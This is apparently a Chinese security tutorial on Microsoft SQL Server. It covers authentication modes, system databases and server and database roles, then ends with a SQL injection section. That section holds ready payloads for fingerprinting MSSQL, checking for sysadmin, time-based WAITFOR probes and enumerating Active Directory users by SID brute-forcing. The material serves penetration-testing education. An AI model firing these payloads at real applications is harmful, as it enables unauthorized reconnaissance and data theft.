跳转至

SQLServer SQL注入

什么是sql server

MS SQL Server是由Microsoft开发的关系数据库管理系统(RDBMS)。该产品的基本功能是按照其他应用程序的要求存储检索数据。它可以在同一台计算机上运行,也可以在网络上的另一台计算机上运行。本教程介绍了SQL Server的一些基本概念和高级概念,例如如何创建和还原数据,创建登录和备份,分配权限等。每个示例都通过示例进行了说明,以方便理解。

  • 它是由Microsoft开发的软件,它是根据RDBMS规范实现的。
  • 它也是一个ORDBMS(关系型数据库系统)。
  • 它取决于平台。
  • 它既是GUI也是基于命令的软件。
  • 它支持SQL(SEQUEL)语言,这是IBM产品,非过程,通用数据库和不区分大小写的语言。

SQL Server的用法

  • 创建数据库。
  • 维护数据库。
  • 通过SQL Server Analysis Services(SSAS)分析数据。
  • 通过SQL Server Reporting Services(SSRS)生成报告。
  • 通过SQL Server集成服务(SSIS)进行ETL操作。

SQL Server 版本

SQL Server有各种版本。本章列出了具有其功能的多个版本。

  • 企业版(Enterprise)-这是具有完整功能集的高端版本。
  • 标准版(Standard)- 当不需要高级功能时,此功能比企业功能少。
  • 工作组(Workgroup )- 适用于较大公司的远程办公室。
  • Web - 这是为Web应用程序设计的。
  • 开发版(Developer)- 与企业版相似,但仅授权一名用户进行开发,测试和演示。无需重新安装即可轻松升级到企业版。
  • Express - 这是免费的入门级数据库。它只能使用1个CPU和1 GB内存,数据库的最大大小为10 GB。
  • Compact - 这是用于移动应用程序开发的免费嵌入式数据库。数据库的最大大小为4 GB。
  • 数据中心 - 新SQL Server 2008 R2的主要更改是数据中心版。Datacenter版没有内存限制,并支持25个以上的实例。
  • 商业智能(Business Intelligence)-商业智能版是SQL Server 2012的新功能。该版本包括标准版的所有功能,并支持高级BI功能(如Power View和PowerPivot),但不支持高级可用性功能(如AlwaysOn可用性组)。和其他在线操作。
  • 企业评估(Enterprise Evaluation) - SQL Server评估版是获取功能完整的免费SQL Server实例以学习和开发解决方案的好方法。该版本的内置有效期为自您安装之日起6个月

基础知识

SQL Server登录

登录是访问SQL Server的简单凭据。例如,当您登录Windows或什至您的电子邮件帐户时,您提供用户名和密码。此用户名和密码将建立凭据。因此,凭据只是用户名和密码。

SQL Server允许四种类型的登录-

  • 基于Windows凭据的登录。
  • 特定于SQL Server的登录名。
  • 映射到证书的登录名。
  • 登录名映射到非对称密钥。

使用图形管理工具(如 SQL Server )登录到 SQL Server Management Studio实例时,系统将会提示您提供服务器名称、 SQL Server 登录名和密码(如果需要)。 如果使用 Windows 身份验证登录到 SQL Server ,则不必在每次访问 SQL Server实例时都提供 SQL Server 登录名。 相反地, SQL Server 将使用您的 Microsoft Windows 帐户自动登录。 如果在混合模式身份验证(SQL Server 和 Windows 身份验证模式)下运行SQL Server,并选择使用 SQL Server 身份验证登录,则必须提供 SQL Server 登录名和密码。 请尽可能使用 Windows 身份验证。

如果安装 SQL Server时选择了区分大小写的排序规则,则您的 SQL Server 登录名也将区分大小写。

选择身份验证模式

在安装过程中,必须为数据库引擎选择身份验证模式。 可供选择的模式有两种:Windows 身份验证模式和混合模式。 Windows 身份验证模式会启用 Windows 身份验证并禁用 SQL Server 身份验证。 混合模式会同时启用 Windows 身份验证和 SQL Server 身份验证。 Windows 身份验证始终可用,并且无法禁用。

配置身份验证模式

如果在安装过程中选择混合模式身份验证(SQL Server 和 Windows 身份验证模式),则必须为名为 sa 的内置 SQL Server 系统管理员帐户提供一个强密码并确认该密码。 sa 帐户通过使用 SQL Server 身份验证进行连接。

如果在安装过程中选择 Windows 身份验证,则安装程序会为 SQL Server 身份验证创建 sa 帐户,但会禁用该帐户。 如果稍后更改为混合模式身份验证并要使用 sa 帐户,则必须启用该帐户。 可以将任何 Windows 或 SQL Server 帐户配置为系统管理员。 由于 sa 帐户广为人知且经常成为恶意用户的攻击目标,因此除非应用程序需要使用 sa 帐户,否则请勿启用。 切勿为 sa 帐户设置空密码或弱密码。 若要从 Windows 身份验证模式更改为混合模式身份验证并使用 SQL Server 身份验证,请参阅更改服务器身份验证模式。

通过 Windows 身份验证进行连接

当用户通过 Windows 用户帐户连接时,SQL Server 使用操作系统中的 Windows 主体令牌来验证帐户名和密码。 也就是说,用户身份由 Windows 进行确认。 SQL Server 不要求提供密码,也不执行身份验证。 Windows 身份验证是默认的身份验证模式,而且比 SQL Server 身份验证更安全。 Windows 身份验证使用新技术 LAN 管理器 (NTLM) 或 Kerberos 安全协议,提供有关强密码复杂性验证的密码策略强制措施,还提供帐户锁定支持,并且支持密码过期。 通过 Windows 身份验证创建的连接有时也称为可信连接,这是因为 SQL Server 信任由 Windows 提供的凭据。

有关配置 Kerberos 的详细信息,请参阅为 Kerberos 连接注册服务主体名称。

通过使用 Windows 身份验证,可以在域级别创建 Windows 组,并且可以在 SQL Server 中为整个组创建登录名。 在域级别管理访问可以简化帐户管理。

通过 SQL Server 身份验证进行连接

使用 SQL Server 身份验证时,登录名是在不基于 Windows 用户帐户的 SQL Server 中创建的。 用户名和密码是使用 SQL Server 创建的,存储在 SQL Server 中。 使用 SQL Server 身份验证进行连接的用户每次连接时都必须提供其凭据(登录名和密码)。 当使用 SQL Server 身份验证时,必须为所有 SQL Server 帐户设置强密码。 有关强密码的指南,请参阅 Strong Passwords。

可供 SQL Server 登录名选择使用的密码策略有三种。

  • 用户在下次登录时必须更改密码

要求用户在下次连接时更改密码。 更改密码的功能由 SQL Server Management Studio 提供。 如果使用此选项,则其他公司软件开发人员应提供此功能。

  • 强制密码过期

对 SQL Server 登录名强制实施计算机的密码最长使用期限策略。

  • 强制实施密码策略

对 SQL Server 登录名强制实施计算机的 Windows 密码策略。 这包括密码长度和密码复杂性。 此功能需要通过 NetValidatePasswordPolicy API 实现,该 API 只在 Windows Server 2003 和更高版本中提供。

指定 SQL Server 名称的格式

连接到 数据库引擎 实例时,必须指定 SQL Server 实例的名称。 如果 SQL Server 实例是默认实例(未命名实例),则指定安装了 SQL Server 的计算机的名称或该计算机的 IP 地址。 如果 SQL Server 实例是命名实例(如 SQLEXPRESS),则指定安装了 SQL Server 的计算机的名称或该计算机的 IP 地址,并添加斜杠和实例名称。

以下示例连接到名为 APPHOST 的计算机上运行的 SQL Server 实例。 指定命名实例时,这些示例使用实例名称 SQLEXPRESS。

示例:

实例类型 服务器名称条目
连接到使用默认协议的默认实例。 APPHOST
连接到使用默认协议的命名实例。 APPHOST\SQLEXPRESS
连接到同一计算机上的默认实例,该计算机使用期间来指示该实例在本地计算机上运行。 。
连接到同一计算机上的命名实例,该计算机使用期间来指示该实例在本地计算机上运行。 .\SQLEXPRESS
连接到同一计算机上的默认实例,该计算机使用 localhost 指示该实例在本地计算机上运行。 localhost
连接到同一计算机上的命名实例,该计算机使用 localhost 指示该实例在本地计算机上运行。 localhost\SQLEXPRESS
连接到同一计算机上的默认实例,该计算机使用 (local) 指示该实例在本地计算机上运行。 (local)
连接到同一计算机上的命名实例,该计算机使用 (local) 指示该实例在本地计算机上运行。 (local)\SQLEXPRESS
连接到强制共享内存连接的同一计算机上的默认实例。 lpc:APPHOST
连接到强制共享内存连接的同一计算机上的命名实例。 lpc:APPHOST\SQLEXPRESS
连接到使用 IP 地址侦听 TCP 地址 192.168.17.28 的默认实例。 192.168.17.28
连接到使用 IP 地址侦听 TCP 地址 192.168.17.28 的命名实例。 192.168.17.28\SQLEXPRESS
通过指定正在使用的端口(此情况下为 2828)连接到未在侦听默认 TCP 端口的默认实例。 (如果 数据库引擎 正在侦听默认端口 (1433),则不需要指定端口号。) APPHOST,2828
连接到指定 TCP 端口(此情况下为 2828)上的命名实例。 (如果 SQL Server Browser 服务未在主机上运行,则通常需要指定端口号。) APPHOST,2828
通过同时指定正在使用的 IP 地址和 TCP 端口(在此情况下为 2828)连接到未在侦听默认 TCP 端口的默认实例。 192.168.17.28,2828
通过同时指定正在使用的 IP 地址和 TCP 端口(在此情况下为 2828)连接到命名实例。 192.168.17.28\SQLEXPRESS,2828
使用名称连接到强制 TCP 连接的默认实例。 tcp:APPHOST
使用名称连接到强制 TCP 连接的命名实例。 tcp:APPHOST\SQLEXPRESS
通过指定命名管道名称连接到默认实例。 \APPHOST\pipe\SQL\query
通过指定命名管道名称连接到命名实例。 \APPHOST\pipe\MSSQL$SQLEXPRESS\SQL\query
使用名称连接到强制命名管道连接的默认实例。 np:APPHOST
使用名称连接到强制命名管道连接的命名实例。 np:APPHOST\SQLEXPRESS

验证连接协议

连接到数据库引擎时,以下查询将返回用于当前连接的协议以及身份验证方法(NTLM 或 Kerberos),并且指示连接是否加密。

SQL
SELECT net_transport, auth_scheme, encrypt_option   
FROM sys.dm_exec_connections   
WHERE session_id = @@SPID;  

系统数据库

SQL Server 包含以下系统数据库。

系统数据库 说明
master 数据库 记录 SQL Server 实例的所有系统级信息。
msdb 数据库 用于 SQL Server 代理计划警报和作业。
model 数据库 用作 SQL Server 实例上创建的所有数据库的模板。 对 model 数据库进行的修改(如数据库大小、排序规则、恢复模式和其他数据库选项)将应用于以后创建的所有数据库。
Resource 数据库 一个只读数据库,包含 SQL Server 包括的系统对象。 系统对象在物理上保留在 Resource 数据库中,但在逻辑上显示在每个数据库的 sys 架构中。
tempdb 数据库 一个工作空间,用于保存临时对象或中间结果集。

master数据库

master 数据库记录 SQL Server 系统的所有系统级信息。 这包括实例范围的元数据(例如登录帐户)、端点、链接服务器和系统配置设置。 在 SQL Server 中,系统对象不再存储在 master 数据库中,而是存储在 Resource 数据库中。 此外,master 数据库还记录了所有其他数据库的存在、数据库文件的位置以及 SQL Server 的初始化信息。 因此,如果 master 数据库不可用,则 SQL Server 无法启动。

限制

不能在 master 数据库中执行下列操作:

  • 添加文件或文件组。
  • 备份,主数据库上只能执行完整的数据库备份。
  • 更改排序规则。 默认排序规则为服务器排序规则。
  • 更改数据库所有者。 master 的所有者是 sa。
  • 创建全文目录或全文索引。
  • 在数据库的系统表上创建触发器。
  • 删除数据库。
  • 从数据库中删除 guest 用户。
  • 启用变更数据捕获。
  • 参与数据库镜像。
  • 删除主文件组、主数据文件或日志文件。
  • 重命名数据库或主文件组。
  • 将数据库设置为 OFFLINE。
  • 将数据库或主文件组设置为 READ_ONLY。

msdb数据库

SQL Server 代理使用 msdb 数据库来计划警报和作业,SQL Server Management Studio、Service Broker 和数据库邮件等其他功能也使用该数据库。

例如,SQL Server 在 msdb 中的表中自动保留一份完整的联机备份和还原历史记录。 这些信息包括执行备份一方的名称、备份时间和用来存储备份的设备或文件。 SQL Server Management Studio 利用这些信息来提出计划,以还原数据库和应用任何事务日志备份。 将会记录有关所有数据库的备份事件,即使它们是由自定义应用程序或第三方工具创建的。 例如,如果使用调用 SQL Server 管理对象 (SMO) 对象的 Microsoft Visual Basic 应用程序执行备份操作,则事件将记录在 msdb 系统表、Microsoft Windows 应用程序日志和 SQL Server 错误日志中。 为了帮助您保护存储在 **msdb**中的信息,我们建议您考虑将 msdb 事务日志放在容错存储区中。

默认情况下, msdb 使用简单恢复模式。 如果使用 备份和还原历史记录 表,我们建您对 **msdb**使用完整恢复模式。 有关详细信息,请参阅恢复模式 (SQL Server)。 请注意,当安装或升级 SQL Server 时,只要使用 Setup.exe 重新生成系统数据库,msdb 的恢复模式便会自动设置为简单。

限制

不能在 msdb 数据库中执行下列操作:

  • 更改排序规则。 默认排序规则为服务器排序规则。
  • 删除数据库。
  • 从数据库中删除 guest 用户。
  • 启用变更数据捕获。
  • 参与数据库镜像。
  • 删除主文件组、主数据文件或日志文件。
  • 重命名数据库或主文件组。
  • 将数据库设置为 OFFLINE。
  • 将主文件组设置为 READ_ONLY。

model数据库

model 数据库用作 SQL Server 实例上创建的所有数据库的模板。 因为每次启动 SQL Server 时都会创建 tempdb,所以 model 数据库必须始终存在于 SQL Server 系统中。 model 数据库的全部内容(包括数据库选项)都会被复制到新的数据库。 启动期间,也可使用 model 数据库的某些设置创建新的 tempdb,因此 model 数据库必须始终存在于 SQL Server 系统中。

新创建的用户数据库与 model 数据库使用相同的 恢复模式 。 默认值是用户可配置的。 若要了解模式的当前恢复模式,请参阅查看或更改数据库的恢复模式 (SQL Server)。

model 的用法

当发出 CREATE DATABASE 语句时,将通过复制 model 数据库中的内容来创建数据库的第一部分, 然后用空页填充新数据库的剩余部分。

如果修改 model 数据库,之后创建的所有数据库都将继承这些修改。 例如,可以设置权限或数据库选项或者添加对象,例如,表、函数或存储过程。 model 数据库的文件属性是一个例外且会被忽略(数据文件的初始大小除外)。 模型数据库数据和日志文件的默认初始大小为 8 MB。

限制

不能在 model 数据库中执行下列操作:

  • 添加文件或文件组。
  • 更改排序规则。 默认排序规则为服务器排序规则。
  • 更改数据库所有者。 模型 的所有者是 sa。
  • 删除数据库。
  • 从数据库中删除 guest 用户。
  • 启用变更数据捕获。
  • 参与数据库镜像。
  • 删除主文件组、主数据文件或日志文件。
  • 重命名数据库或主文件组。
  • 将数据库设置为 OFFLINE。
  • 将主文件组设置为 READ_ONLY。
  • 使用 WITH ENCRYPTION 选项创建过程、视图或触发器。 加密密钥与在其中创建对象的数据库绑定在一起。 在 model 数据库中创建的加密对象只能用于 **model**中。

tempdb数据库

tempdb 系统数据库是包含以下内容的全局资源:

  • 显式创建的临时用户对象。 它们包括全局或局部临时表及索引、临时存储过程、表变量、表值函数返回的表或游标。

  • 数据库引擎创建的内部对象。 其中包括:

  • 用于储存假脱机、游标、排序和临时大型对象 (LOB) 存储的中间结果的工作表。

  • 用于哈希联接或哈希聚合操作的工作文件。
  • 用于创建或重新生成索引等操作(如果指定了 SORT_IN_TEMPDB)的中间排序结果,或者某些 GROUP BY、ORDER BY 或 UNION 查询的中间排序结果。

每个内部对象至少使用九页:一个 IAM 页,一个八页的盘区。 有关页和盘区的详细信息,请参阅页和盘区。

  • 版本存储区是数据页的集合,它包含支持用于行版本控制的功能的数据行。 有两种类型:公用版本存储区和联机索引生成版本存储区。 版本存储区包含:

  • 由通过行版本控制隔离或快照隔离事务使用 READ COMMITTED 的数据库中的数据修改事务生成的行版本。

  • 由数据修改事务为实现联机索引操作、多重活动结果集 (MARS) 以及 AFTER 触发器等功能而生成的行版本。

tempdb 中的操作是最小日志记录操作,以便回滚事务。 每次启动 SQL Server 时都会重新创建 tempdb,从而在系统启动时总是具有一个干净的数据库副本。 在断开联接时会自动删除临时表和存储过程,并且在系统关闭后没有活动连接。

tempdb 不会有什么内容从 SQL Server 的一个会话保存到另一个会话。 不允许对 tempdb 执行备份和还原操作。

限制

不能在 tempdb 数据库中执行下列操作:

  • 添加文件组。
  • 备份或还原数据库。
  • 更改排序规则。 默认排序规则为服务器排序规则。
  • 更改数据库所有者。 tempdb 的所有者是 sa。
  • 创建数据库快照。
  • 删除数据库。
  • 从数据库中删除 guest 用户。
  • 启用变更数据捕获。
  • 参与数据库镜像。
  • 删除主文件组、主数据文件或日志文件。
  • 重命名数据库或主文件组。
  • 正在运行 DBCC CHECKALLOC。
  • 正在运行 DBCC CHECKCATALOG。
  • 将数据库设置为 OFFLINE。
  • 将数据库或主文件组设置为 READ_ONLY。
权限

任何用户都可以在 tempdb 中创建临时对象。 用户只能访问自己的对象,除非他们获得更多的权限。 可以撤销对 tempdb 的连接权限以阻止用户使用 tempdb。 我们不建议这样做,因为一些例程操作需要使用 tempdb。

resource数据库

Resource 数据库为只读数据库,它包含了 SQL Server 中的所有系统对象。 SQL Server 系统对象(如 sys.objects)在物理上保留在 Resource 数据库中,但在逻辑上却显示在每个数据库的 sys 架构中。 Resource 数据库不包含用户数据或用户元数据。

Resource 数据库可比较轻松快捷地升级到新的 SQL Server 版本。 在早期版本的 SQL Server 中,进行升级需要删除和创建系统对象。 由于 Resource 数据库文件包含所有系统对象,因此,现在仅通过将单个 Resource 数据库文件复制到本地服务器便可完成升级。

访问 Resource 数据库

Resource 数据库仅应由 Microsoft 客户支持服务部门 (CSS) 的专家修改或在其指导下进行修改。 Resource 数据库的 ID 始终为 32767。 与 Resource 数据库相关联的其他重要值是版本号和数据库的上次更新时间。

若要确定 Resource 数据库的版本号,请使用:

SQL
SELECT SERVERPROPERTY('ResourceVersion');  
GO  

若要确定 Resource 数据库的上次升级时间,请使用:

SQL
SELECT SERVERPROPERTY('ResourceLastUpdateDateTime');  
GO  

若要访问系统对象的 SQL 定义,请使用 OBJECT_DEFINITION 函数:

SQL
SELECT OBJECT_DEFINITION(OBJECT_ID('sys.objects'));  
GO  

重要系统表

sysdatabases

这张表保存在master数据库中,里边的name字段下存放的是所有数据库的库名。

sysobjects

这张表保存的是数据库的表的信息,里边的id字段存放的是表的id,name为表名,xtype 字段存放的是表的类型,u代表为用户创建的表,s表示该表是系统表。

syscolumns

这张表存放的是数据库中字段的信息,id 为表的id,该id可以通过sysobjects获得。name为字段名称。

权限管理

用户定义的服务器角色

在 SQL Server 中,可以创建你自己的服务器角色并向它们分配服务器级权限。 可以使用 ALTER SERVER ROLE ... ADD MEMBER 语句将登录名添加到服务器角色。 有关详细信息,请参阅 ALTER SERVER ROLE (Transact-SQL))。 SQL 数据库不支持用户定义的服务器角色。

用户定义的数据库角色

具有 CREATE ROLE 权限的用户可以创建新的用户定义的数据库角色来表示具有常用权限的用户组。 通常对整个角色授予或拒绝权限,从而简化了权限管理和监视。 可以使用 ALTER ROLE ... ADD MEMBER 语句向数据库角色添加数据库用户。 有关详细信息,请参阅 ALTER ROLE (Transact-SQL)。

服务器级别角色

SQL Server提供服务器级角色来帮助管理服务器上的权限。 这些角色是可组合其他主体的安全主体。 服务器级角色的权限作用域为服务器范围。 (“角色”类似于 Windows 操作系统中的“组”。)

服务器级别的固定角色

下表显示了服务器级的固定角色及其权限。

服务器级的固定角色 说明
sysadmin sysadmin 固定服务器角色的成员可以在服务器上执行任何活动。
serveradmin serveradmin 固定服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。
securityadmin securityadmin 固定服务器角色的成员可以管理登录名及其属性。 他们可以 GRANT、DENY 和 REVOKE 服务器级权限。 securityadmin 还可以 GRANT、DENY和 REVOKE 数据库级权限(如果他们具有数据库的访问权限)。 此外,securityadmin 还可以重置 SQL Server 登录名的密码。 重要提示:授予数据库引擎的访问权限和配置用户权限的能力使得安全管理员可以分配大多数服务器权限。 securityadmin 角色应视为与 sysadmin 角色等效。 或者,从 SQL Server 2022 (16.x) 开始,请考虑使用新的固定服务器角色 ##MS_LoginManager##。
processadmin processadmin 固定服务器角色的成员可以终止在 SQL Server 实例中运行的进程。
setupadmin setupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加和删除链接服务器。 (使用 Management Studio 时需要 sysadmin 成员资格。)
bulkadmin bulkadmin 固定服务器角色的成员可以运行 BULK INSERT 语句。 Linux 上的 SQL Server 不支持 bulkadmin 角色或 ADMINISTER BULK OPERATIONS 权限。 只有 sysadmin 才能对 Linux 上的 SQL Server 执行批量插入。
diskadmin diskadmin 固定服务器角色用于管理磁盘文件。
dbcreator dbcreator 固定服务器角色的成员可以创建、更改、删除和还原任何数据库。
public 每个 SQL Server 登录名都属于 public 服务器角色。 如果未向某个服务器主体授予或拒绝对某个安全对象的特定权限,用户将继承向 public 角色授予的对该对象的权限。 只有在希望所有用户都能使用对象时,才在对象上分配 Public 权限。 你无法更改具有 Public 角色的成员身份。 注意:public 与其他角色的实现方式不同,可通过 public 固定服务器角色授予、拒绝或撤销权限。

SQL Server 2022 中引入的固定服务器级角色
服务器级的固定角色 说明
##MS_DatabaseConnector## ##MS_DatabaseConnector## 固定服务器角色的成员可连接到任何数据库,而无需数据库中的用户帐户即可连接。 若要拒绝对特定数据库的“连接”权限,用户可在数据库中为此登录创建匹配的用户帐户,然后拒绝对数据库用户的“连接”权限。 此“拒绝”权限将推翻来自此角色的“授予连接”权限。
##MS_LoginManager## ##MS_LoginManager## 固定服务器角色的成员可创建、删除和修改登录名。 与旧的固定服务器角色“securityadmin”相反,此角色不允许成员持有 GRANT 特权。 这是一个限制性较高的角色,有助于遵守“最低特权原则”。
##MS_DatabaseManager## ##MS_DatabaseManager## 固定服务器角色的成员可创建和删除数据库。 创建数据库的 ##MS_DatabaseManager## 角色的成员成为相应数据库的所有者,这样可便于用户以 dbo 用户身份连接到相应数据库。 dbo 用户具有数据库中的所有数据库权限。 ##MS_DatabaseManager## 角色的成员不一定具有访问非他们所有的数据库的权限。 此服务器角色与 SQL Server 中的 dbcreator 角色具有相同权限,但我们建议优先使用此新角色,而不是旧角色,因为此角色也存在于 Azure SQL 数据库中,有助于在不同的环境中使用相同脚本。
##MS_ServerStateManager## ##MS_ServerStateManager## 固定服务器角色的成员与##MS_ServerStateReader## 角色具有相同的权限。 此外,该角色还具有“变更服务器状态”权限,该权限允许访问多个管理操作,例如:DBCC FREEPROCCACHE、DBCC FREESYSTEMCACHE ('ALL')、DBCC SQLPERF()
##MS_ServerStateReader## ##MS_ServerStateReader## 固定服务器角色的成员可以读取“查看服务器状态”所涵盖的所有动态管理视图 (DMV) 和功能,分别拥有该角色的成员具有用户帐户的任何数据库上的“查看数据库状态”权限。
##MS_ServerPerformanceStateReader## ##MS_ServerPerformanceStateReader## 固定服务器角色的成员可以读取“查看服务器性能状态”所涵盖的所有动态管理视图 (DMV) 和功能,并分别对此角色的成员具有用户帐户的任何数据库拥有“查看数据库性能状态”权限。 这是 ##MS_ServerStateReader## 服务器角色有权访问的内容的一部分,有助于遵守“最低特权原则”。
##MS_ServerSecurityStateReader## ##MS_ServerSecurityStateReader## 固定服务器角色的成员可以读取“查看服务器安全状态”所涵盖的所有动态管理视图 (DMV) 和功能,并分别对角色的成员具有用户帐户的任何数据库拥有“查看数据库安全状态”权限。 这是 ##MS_ServerStateReader## 服务器角色有权访问的内容的一小部分,有助于遵守“最低特权原则”。
##MS_DefinitionReader## ##MS_DefinitionReader## 固定服务器角色的成员可以读取“查看任何定义”覆盖的所有目录视图,并分别对此角色的成员具有用户帐户的任何数据库拥有“查看定义”权限。
##MS_PerformanceDefinitionReader## ##MS_PerformanceDefinitionReader## 固定服务器角色的成员可以读取“查看任何性能定义”覆盖的所有目录视图,并分别对此角色的成员具有用户帐户的任何数据库拥有“查看性能定义”权限。 这是 ##MS_DefinitionReader## 服务器角色有权访问的内容的一部分。
##MS_SecurityDefinitionReader## ##MS_SecurityDefinitionReader## 固定服务器角色的成员可以读取“查看任何安全定义”覆盖的所有目录视图,并分别对此角色的成员拥有用户帐户的任何数据库拥有“查看安全定义”权限。 这是 ####MS_DefinitionReader#### 服务器角色有权访问的内容的一小部分,有助于遵守“最低特权原则”。

下表显示了分配给服务器级角色的权限。 它还显示继承的数据库级权限,前提是用户可以连接到单个数据库。

服务器级的固定角色 服务器级别权限 数据库级别权限
##MS_DatabaseConnector## CONNECT ANY DATABASE CONNECT
##MS_LoginManager## CREATE LOGIN ALTER ANY LOGIN 空值
##MS_DatabaseManager## CREATE ANY DATABASE ALTER ANY DATABASE ALTER
##MS_ServerStateManager## ALTER SERVER STATE VIEW SERVER STATE VIEW SERVER PERFORMANCE STATE VIEW SERVER SECURITY STATE VIEW DATABASE STATE VIEW DATABASE PERFORMANCE STATE VIEW DATABASE SECURITY STATE
##MS_ServerStateReader## VIEW SERVER STATE VIEW SERVER PERFORMANCE STATE VIEW SERVER SECURITY STATE VIEW DATABASE STATE VIEW DATABASE PERFORMANCE STATE VIEW DATABASE SECURITY STATE
##MS_ServerPerformanceStateReader## VIEW SERVER PERFORMANCE STATE VIEW DATABASE PERFORMANCE STATE
##MS_ServerSecurityStateReader## VIEW SERVER SECURITY STATE VIEW DATABASE SECURITY STATE
##MS_DefinitionReader## VIEW ANY DATABASE VIEW ANY DEFINITION VIEW ANY PERFORMANCE DEFINITION VIEW ANY SECURITY DEFINITION VIEW DEFINITION VIEW PERFORMANCE DEFINITION VIEW SECURITY DEFINITION
##MS_PerformanceDefinitionReader## VIEW ANY PERFORMANCE DEFINITION VIEW PERFORMANCE DEFINITION
##MS_SecurityDefinitionReader## VIEW ANY SECURITY DEFINITION 查看安全定义

数据库级角色

为便于管理数据库中的权限,SQL Server 提供了若干角色,这些角色是用于对其他主体进行分组的安全主体。 它们类似于 Windows 操作系统中的“组”。 数据库级角色的权限作用域为数据库范围。

若要向数据库角色添加和删除成员,请使用 ADD MEMBER ALTER ROLE DROP MEMBER 语句的 和 选项。

存在两种类型的数据库级角色:数据库中预定义的“固定数据库角色”和可以创建的“用户定义的数据库角色”。

固定数据库角色是在数据库级别定义的,并且存在于每个数据库中。 db_owner 数据库角色的成员可以管理固定数据库角色成员身份。 msdb 数据库中还有一些特殊用途的数据库角色。

可以向数据库级角色中添加任何数据库帐户和其他 SQL Server 角色。

Important

请不要将用户定义的数据库角色添加为固定角色的成员。 这会导致意外的权限升级。

固定数据库角色

固定数据库角色是一组预配置的提供方便的数据库级权限组的角色。 可以使用 ALTER ROLE ... ADD MEMBER 语句将数据库用户和用户定义的数据库角色添加到固定数据库角色。 有关详细信息,请参阅 ALTER ROLE (Transact-SQL)。

下表显示固定数据库角色及其能够执行的操作。 所有数据库中都有这些角色。 无法更改分配给固定数据库角色的权限,“公共”数据库角色除外。

固定数据库角色名称 说明
db_owner db_owner 固定数据库角色的成员可以执行数据库的所有配置和维护活动,还可以 DROP SQL Server 中的数据库。 (在 SQL 数据库 和 Synapse Analytics 中,某些维护活动需要服务器级别权限,并且不能由 db_owners 执行。)
db_securityadmin db_securityadmin 固定数据库角色的成员可以仅修改自定义角色的角色成员资格和管理权限。 此角色的成员可能会提升其权限,应监视其操作。
db_accessadmin db_accessadmin 固定数据库角色的成员可以为 Windows 登录名、Windows 组和 SQL Server 登录名添加或删除数据库访问权限。
db_backupoperator db_backupoperator 固定数据库角色的成员可以备份数据库。
db_ddladmin db_ddladmin 固定数据库角色的成员可以在数据库中运行任何数据定义语言 (DDL) 命令。 此角色的成员可以通过操作可能以高特权执行的代码来提升其特权,其操作应被监视。
db_datawriter db_datawriter 固定数据库角色的成员可以在所有用户表中添加、删除或更改数据。 在大多数用例下,此角色与 db_datareader 成员身份一起使用,以允许读取要修改的数据。
db_datareader db_datareader 固定数据库角色的成员可以从所有用户表和视图中读取所有数据。 用户对象可能存在于除 sys 和 INFORMATION_SCHEMA 以外的任何架构中。
db_denydatawriter db_denydatawriter 固定数据库角色的成员不能添加、修改或删除数据库内用户表中的任何数据。
db_denydatareader db_denydatareader 固定数据库角色的成员不能读取数据库内用户表和视图中的任何数据。

无法更改分配给固定数据库角色的权限。 下图显示分配给固定数据库角色的权限:

固定数据库角色权限图。

msdb 数据库中的角色

msdb 数据库包含下表显示的特殊用途的角色。

msdb 角色名称 说明
db_ssisadmin db_ssisoperator db_ssisltduser 这些数据库角色的成员可以管理和使用 SSIS。 从早期版本升级的 SQL Server 实例可能包含使用 Data Transformation Services (DTS)(而不是 SSIS)命名的旧版本角色。 有关详细信息,请参阅 Integration Services 角色(SSIS 服务)。
dc_admin dc_operator dc_proxy 这些数据库角色的成员可以管理和使用数据收集器。 有关详细信息,请参阅数据收集。
PolicyAdministratorRole db_ PolicyAdministratorRole 数据库角色的成员可以对基于策略的管理策略和条件执行所有配置和维护活动。 有关详细信息,请参阅 使用基于策略的管理来管理服务器。
ServerGroupAdministratorRole ServerGroupReaderRole 这些数据库角色的成员可以管理和使用注册的服务器组。
dbm_monitor 在数据库镜像监视器中注册第一个数据库时在 msdb 数据库中创建。 在系统管理员为 dbm_monitor 角色分配用户之前,该角色没有任何成员。

db_ssisadmin 角色和 dc_admin 角色的成员可以将其特权提升为 sysadmin。 因为这些角色可以修改 Integration Services 包,而 Integration Services 使用 SQL Server 代理的 sysadmin 安全上下文可以执行 SQL Server 包,所以可以实现特权提升。 若要在运行维护计划、数据收集组和其他 Integration Services 包时防止此权限提升,请将运行包的 SQL Server 代理作业配置为使用具有有限权限的代理帐户,或只将 sysadmin 成员添加到 db_ssisadmin 和 dc_admin 角色。

SQL注入

SQL
select * from xxx where id = '$id';

假设有这么一条语句,$id为从用户输入的参数,显然这是有sql注入漏洞的

Active Directory enumeration

It may be possible to enumerate domain users via SQL injection inside a MSSQL server using the following MSSQL functions:

  • SELECT DEFAULT_DOMAIN(): Get current domain name.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): If you know the name of the domain (DOMAIN in this example) this function will return the SID of the user Administrator in hex format. This will look like 0x01050000000[...]0000f401, note how the last 4 bytes are the number 500 in big endian format, which is the common ID of the user administrator. This function will allow you to know the ID of the domain (all the bytes except of the last 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : This function will return the username of the ID indicated (if any), in this case 0000e803 in big endian == 1000 (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:

python

Python
def get_sid(n):
    domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
    user = struct.pack('<I', int(n))
    user = user.hex()
    return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

基础信息收集

判断数据库类型

SQL
/* sysobjects 为 MSSQL 数据库中独有的数据表,如果页面返回正常即可表示为 MSSQL 数据库 */
?id=1' and (select count(*) from sysobjects)>0 --
/* 通过 MSSQL 数据库中特有的延时函数进行判断 */
?id=1';WAITFOR DELAY '00:00:10'; -- 

查询数据库版本信息

SQL
1' and 1=(select @@version) --

基于报错回显版本

判断当前数据库登录用户名

SQL
?id=1' and 1=(SELECT SUSER_NAME());--

判断当前数据库用户名

SQL
?id=1' and user>0;--

获取当前数据库名

SQL
?id=1' and db_name()>0;--

判断字段个数

SQL
?id=1' order by 6--

查询当前的本地服务名

SQL
?id=1' and 1=(select @@servername)--

判断是否站库分离

SQL
/* 如果页面报错,则站库分离;回显正常,则无站库分离 */
?id=1' and ((select host_name())=(select @@servername))--

判断当前服务器级别角色

SQL
?id=1' and 1=(select is_srvrolemember('sysadmin'))--
